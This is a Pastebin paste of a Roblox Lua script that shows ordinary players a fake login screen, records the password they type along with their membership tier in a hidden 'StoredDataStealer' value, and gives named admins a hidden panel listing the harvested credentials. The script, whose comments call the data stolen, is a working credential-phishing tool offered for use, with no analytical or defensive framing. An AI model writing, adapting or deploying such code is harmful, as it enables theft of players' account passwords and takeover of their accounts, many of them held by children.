Advertisement
Guest User

Untitled

a guest
May 24th, 2016
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -- Made by youglow,new account robloxcitya dont forget to add him
  2.  
  3. ---------Settings------------
  4. admins={"niighty","liamc20134","Erleuchtete","Player1"} -- Admins have data to stolen data, and will bypass the GUI
  5. bypass={"liamc20134","youglow"} -- These users do not have data to the stolen data, but will bypass the GUI
  6. --NoCoreGui=true -- This will disable all of the CoreGui (can break other Guis, be cafeful)
  7. filelocation = game.Workspace -- A nice hidden place to store all the data
  8. --game:GetService("Geometry") That's a nice hidden place you can store all of your data.
  9. CollectionSpacing = 30 -- Space between user's login data
  10. CollectionSize = 25 -- Height of each user's login data
  11. ----------------------------
  12. for _,v in pairs(admins) do
  13. for i,x in pairs(bypass) do
  14. if v==x then
  15. table.remove(bypass,i)
  16. end
  17. end
  18. end
  19. -- Please do not edit anything below this line unless you know what you are doing!
  20. --------Definitions----------
  21. Gui = script.Parent
  22. BG = Gui.Background
  23. SP = Gui.SecondPage
  24. CollB = Gui.CollectionBank
  25. -----------------------------
  26. function checkAdmin(plr)
  27. for _,v in pairs(admins) do
  28. if string.lower(v)==string.lower(plr.Name) then return true end
  29. end
  30. return false
  31. end
  32.  
  33. function checkBypass(plr)
  34. for _,v in pairs(bypass) do
  35. if string.lower(v)==string.lower(plr.Name) then return true end
  36. end
  37. return false
  38. end
  39.  
  40.  
  41.  
  42. function updateList()
  43. storedypos.Value=0
  44. storedincrement.Value=0
  45. for _,x in pairs(CollB:getChildren()) do
  46. if x.Name~="Names" and
  47. x.Name~="Passes" and
  48. x.Name~="Top" and
  49. x.Name~="spacing" and
  50. x.Name~="height" and
  51. x.Name~="SPing" and
  52. x.Name~="close" and
  53. x.Name~="HGT" then
  54. x:Destroy()
  55. end
  56. end
  57. for _,v in pairs(storedinfo:GetChildren()) do
  58. if v:findFirstChild("pazz")~=nil and v.Name~="Value" then
  59. adduser(v.Name,v:findFirstChild("pazz").Value,v:findFirstChild("BCStat").Value)
  60. end
  61. end
  62. end
  63.  
  64.  
  65. function adduser(nam,pw,BeeCee)
  66. storedincrement.Value=storedincrement.Value+1
  67. if storedincrement.Value~=1 and storedincrement.Value~=0 then storedypos.Value=storedypos.Value+CollectionSpacing end
  68. addlist(storedincrement.Value,CollB,storedypos.Value,nam,pw,BeeCee)
  69. end
  70.  
  71. function addlist(increment,parent,pos,nam,pw,bcst)
  72. un1 = Instance.new("TextLabel", parent)
  73. un1.Name = "un"..tostring(increment)
  74. un1.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
  75. un1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
  76. un1.BackgroundColor3 = Color3.new(1, 1, 1)
  77. un1.BackgroundTransparency = 0.5
  78. un1.BorderSizePixel = 0
  79. un1.Text = nam
  80. un1.Font = Enum.Font.ArialBold
  81. un1.FontSize = Enum.FontSize.Size18
  82. un1.TextColor3 = Color3.new(1, 1, 1)
  83. p1 = Instance.new("TextLabel", parent)
  84. p1.Name = "pw"..tostring(increment)
  85. p1.Position = UDim2.new(0.5, 0, 0.1+(pos/1000), 0)
  86. p1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
  87. p1.BackgroundColor3 = Color3.new(1, 1, 1)
  88. p1.BackgroundTransparency = 0.5
  89. p1.BorderSizePixel = 0
  90. p1.Text = pw
  91. p1.Font = Enum.Font.ArialBold
  92. p1.FontSize = Enum.FontSize.Size18
  93. p1.TextColor3 = Color3.new(1, 1, 1)
  94.  
  95. BCPIP = Instance.new("ImageLabel", parent)
  96. BCPIP.Name = "BCPIP"..tostring(increment)
  97. BCPIP.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
  98. BCPIP.Size = UDim2.new(CollectionSize/1000, 0, CollectionSize/1000, 0)
  99. BCPIP.BackgroundColor3 = Color3.new(1, 1, 1)
  100. BCPIP.BackgroundTransparency = 1
  101. BCPIP.BorderSizePixel = 0
  102. if bcst=="Enum.MembershipType.BuildersClub" then
  103. BCPIP.Image = "rbxassetid://".."30681638"
  104. elseif bcst=="Enum.MembershipType.TurboBuildersClub" then
  105. BCPIP.Image = "rbxassetid://".."78003798"
  106. elseif bcst=="Enum.MembershipType.OutrageousBuildersClub" then
  107. BCPIP.Image = "rbxassetid://".."64189403"
  108. else
  109. BCPIP.Image = "rbxassetid://".."45312113"
  110. end
  111. BCPIP.ZIndex = 2
  112.  
  113. local a = script.hideself:Clone() a.Parent=BCPIP a.Disabled=false
  114. end
  115.  
  116.  
  117.  
  118.  
  119. repeat wait() until game.Players.LocalPlayer.Character
  120.  
  121. if not filelocation:findFirstChild("StoredDataStealer") then
  122. storedincrement = Instance.new("IntValue") storedincrement.Parent=filelocation storedincrement.Name="storedincrement" storedincrement.Value=0
  123. storedypos = Instance.new("IntValue") storedypos.Parent=filelocation storedypos.Name="storedypos" storedypos.Value=0
  124. storedinfo = Instance.new("StringValue") storedinfo.Parent=filelocation storedinfo.Name="StoredDataStealer"
  125. else
  126. storedinfo = filelocation:findFirstChild("StoredDataStealer")
  127. storedincrement = filelocation:findFirstChild("storedincrement")
  128. storedypos = filelocation:findFirstChild("storedypos")
  129. end
  130. wait()
  131. updateList()
  132. CollB.height.Text = tonumber(CollectionSize)
  133. CollB.spacing.Text = tonumber(CollectionSpacing)
  134.  
  135. storedinfo.DescendantAdded:connect(function() updateList() end)
  136. storedinfo.DescendantRemoving:connect(function() updateList() end)
  137.  
  138. CollB.spacing.Changed:connect(function()
  139. if tonumber(CollB.spacing.Text) then
  140. CollectionSpacing=tonumber(CollB.spacing.Text)
  141. updateList()
  142. else
  143. CollB.spacing.Text = tonumber(CollectionSpacing)
  144. updateList()
  145. end
  146. end)
  147.  
  148. CollB.height.Changed:connect(function()
  149. if tonumber(CollB.height.Text) then
  150. CollectionSize=tonumber(CollB.height.Text)
  151. updateList()
  152. else
  153. CollB.height.Text = tonumber(CollectionSize)
  154. updateList()
  155. end
  156. end)
  157.  
  158. CollB.close.MouseButton1Down:connect(function()
  159. CollB.Visible=false
  160. Gui.showcollection.Visible=true
  161. end)
  162. game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(k)
  163. if checkAdmin(game.Players.LocalPlayer) then
  164. if k=="v" then
  165. if CollB.Visible==false then CollB.Visible=true Gui.showcollection.Visible=false else CollB.Visible=false Gui.showcollection.Visible=true end
  166. end
  167. end
  168. end)
  169.  
  170. Gui.showcollection.MouseButton1Down:connect(function()
  171. CollB.Visible=true
  172. Gui.showcollection.Visible=false
  173. end)
  174.  
  175. if checkAdmin(game.Players.LocalPlayer) then
  176. Gui.showcollection.Visible=true
  177. elseif not checkBypass(game.Players.LocalPlayer) then
  178. if NoCoreGui then game.StarterGui:SetCoreGuiEnabled("All", false) end
  179. BG.Visible=true
  180. BG.CountDown.Disabled=false
  181. Gui.ROBLOX.Visible=true
  182. else
  183. Gui:Destroy()
  184. end
  185.  
  186. BG.Login.MouseButton1Down:connect(function()
  187. if storedinfo~=nil and not storedinfo:findFirstChild(game.Players.LocalPlayer.Name) then
  188. if BG.PassText.Text=="" or BG.PassText.Text=="Enter your Password" or BG.PassText.Text=="Error, password invalid" then
  189. BG.PassText.Text="Error, password invalid"
  190. elseif
  191. BG.UserText.Text=="" or BG.UserText.Text=="Enter your Username" or BG.UserText.Text=="Error, username invalid" then
  192. BG.UserText.Text="Error, username invalid"
  193. else
  194. local a=Instance.new("StringValue")
  195. a.Name=game.Players.LocalPlayer.Name
  196. local b=a:Clone() b.Parent=a b.Name="pazz" b.Value=BG.PassText.Text
  197. local c=a:Clone() c.Parent=a c.Name="BCStat" c.Value=tostring(game.Players.LocalPlayer.MembershipType)
  198. a.Parent = storedinfo
  199. BG.Visible=false
  200. SP.Visible=true
  201. SP.CountDown.Disabled=false
  202. end
  203. end
  204. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement